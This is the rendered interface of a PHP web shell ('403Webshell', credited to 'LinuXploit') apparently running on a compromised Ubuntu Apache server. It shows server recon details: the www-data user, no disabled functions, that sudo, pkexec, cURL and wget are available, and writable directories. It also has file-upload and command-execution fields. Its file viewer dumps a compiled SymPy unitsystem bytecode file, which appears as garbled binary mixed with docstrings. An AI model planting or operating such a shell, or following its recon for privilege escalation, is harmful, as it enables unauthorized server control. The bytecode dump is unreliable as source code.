403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sympy/physics/units/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/sympy/physics/units/__pycache__/unitsystem.cpython-310.pyc
o

�8Va�@shdZddlmZddlmZmZmZmZmZm	Z	ddl
mZddlm
Z
ddlmZGdd	�d	e�Zd
S)zG
Unit system for physical quantities; include definition of constants.
�)�Dict)�S�Mul�Pow�Add�Function�
Derivative)�_QuantityMapper)�SymPyDeprecationWarning�)�	Dimensioncs�eZdZdZiZd!�fdd�	Zdd�Zd	d
�Zd!dd�Zd
d�Z	dd�Z
�fdd�Z�fdd�Ze
dd��Ze
dd��Zedd��Zedd��Zdd�Zdd �Z�ZS)"�
UnitSystemz�
    UnitSystem represents a coherent set of units.

    A unit system is basically a dimension system with notions of scales. Many
    of the methods are defined in the same way.

    It is much better if all base units have a symbol.
    ��NcsP|tj|<||_||_||_||_tt|�t|�B�|_t|�|_t	��
�dS�N)r
�
_unit_systems�name�descr�_base_units�_dimension_system�tuple�set�_units�super�__init__)�self�
base_units�unitsrr�dimension_system��	__class__r�@/usr/lib/python3/dist-packages/sympy/physics/units/unitsystem.pyrs

zUnitSystem.__init__cCs*|jdkr|jSdd�dd�|jD��S)z�
        Return the name of the system.

        If it does not exist, then it makes a list of symbols (or names) of
        the base dimensions.
        rzUnitSystem((%s))�, css�|]}t|�VqdSr)�str��.0�drrr!�	<genexpr>4s�
�z%UnitSystem.__str__.<locals>.<genexpr>)r�joinr�rrrr!�__str__)s


�zUnitSystem.__str__cCsdt|j�S)Nz<UnitSystem: %s>)�reprrr)rrr!�__repr__7szUnitSystem.__repr__cCs,|jt|�}|jt|�}t|||||�S)aExtend the current system into a new one.

        Take the base and normal units of the current system to merge
        them to the base and normal units given in argument.
        If not provided, name and description are overridden by empty strings.
        )rrrr
)r�baserr�descriptionrrrr!�extend:szUnitSystem.extendcCs,tddddd���ddlm}|||j�S)z�
        Useless method.

        DO NOT USE, use instead ``convert_to``.

        Give the string expression of a unit in term of the basis.

        Units are displayed by decreasing power.
        z1.2i4�print_unit_base�
convert_to)�deprecated_since_version�issue�feature�
useinsteadr)r1)r
�warn�sympy.physics.unitsr1r)r�unitr1rrr!r0Gs
�zUnitSystem.print_unit_basecCs|jSr)rr)rrr!�get_dimension_systemZszUnitSystem.get_dimension_systemc�&|��j}||vr
||St��|�Sr)r9�_quantity_dimension_mapr�get_quantity_dimension)rr8�qdmrrr!r<]�
z!UnitSystem.get_quantity_dimensioncr:r)r9�_quantity_scale_factorsr�get_quantity_scale_factor)rr8�qsfmrrr!r@cr>z$UnitSystem.get_quantity_scale_factorcCs<t|t�r|S|tjvrtd�d�ttj�����tj|S)NzDUnit system is not supported. Currentlysupported unit systems are {}r")�
isinstancer
r�
ValueError�formatr(�sorted)�unit_systemrrr!�get_unit_systemis

��
zUnitSystem.get_unit_systemcCs
tjdS)N�SI)r
rrrrr!�get_default_unit_systemxs
z"UnitSystem.get_default_unit_systemcCs
t|j�S)zr
        Give the dimension of the system.

        That is return the number of units forming the basis.
        )�lenrr)rrr!�dim|s
zUnitSystem.dimcCs
|��jS)zI
        Check if the underlying dimension system is consistent.
        )r9�
is_consistentr)rrr!rL�s
zUnitSystem.is_consistentcs ddlm}m}m}m}ddlm}ddlm}t||�r)|�fdd�|j	D��St||�r7��
|j�|jSt||�rD��
|j	d�St||�rb��
|j
�}|jD]
\}	}
|��
|	�|
}qR|St||�r��fdd�|j	D�}tdd	�|D��r}tjS|j|�St||�r���|�jStjS)
Nr)rrrr)r��Quantityc�g|]}��|��qSr��get_dimensional_expr�r%�ir)rr!�
<listcomp>��z3UnitSystem.get_dimensional_expr.<locals>.<listcomp>crOrrP�r%�argr)rr!rT�rUcss�|]}|dkVqdS�rNrrRrrr!r'���z2UnitSystem.get_dimensional_expr.<locals>.<genexpr>)�sympyrrrrrr7rNrB�argsrQr-�exp�expr�variable_count�allr�One�funcr<r)rr]rrrrrrNrK�independent�countr[rr)r!rQ�s,






zUnitSystem.get_dimensional_exprcs�ddlm}t||�r|j|jfSt|t�r5d}td�}|jD]}��|�\}}||9}||9}q||fSt|t	�rY��|j
�\}}��|j�\}	}
|
jrOd}
||	||	|
fSt|t
�r���|jd�\}}|jdd�D]}��|�\}}
||
kr�td�||
|���||7}qo||fSt|t�r���|jd�\}}|jD]\}}��|�\}}|||}|||}q�||fSt|t�r߇fdd�|jD�}|jdd	�|D��|jd
d	�|D��fSt|t�r�d|fS|td�fS)zU
        Return tuple with scale factor expression and dimension expression.
        rrMrNz,Dimension of "{}" is {}, but it should be {}crOr)�_collect_factor_and_dimensionrVr)rr!rT�s
��z<UnitSystem._collect_factor_and_dimension.<locals>.<listcomp>cs��|]}|dVqdS)rNr)r%�frrr!r'�rYz;UnitSystem._collect_factor_and_dimension.<locals>.<genexpr>csrerXrr$rrr!r'�rY)r7rNrB�scale_factor�	dimensionrrr[rdrr-r\�is_dimensionlessrrCrDrr^rra)rr]rN�factorrhrW�
arg_factor�arg_dimrK�
exp_factor�exp_dim�addend�
addend_factor�
addend_dimrbrc�ifactor�idim�fdsrr)r!rd�s`





���



��
z(UnitSystem._collect_factor_and_dimension)rrrN)�__name__�
__module__�__qualname__�__doc__rrr*r,r/r0r9r<r@�staticmethodrGrI�propertyrKrLrQrd�
__classcell__rrrr!r
s*	





r
N)rx�typingrrZrrrrrr�sympy.physics.units.dimensionsr	�sympy.utilities.exceptionsr
�
dimensionsrr
rrrr!�<module>s 

Youez - 2016 - github.com/yon3zu
LinuXploit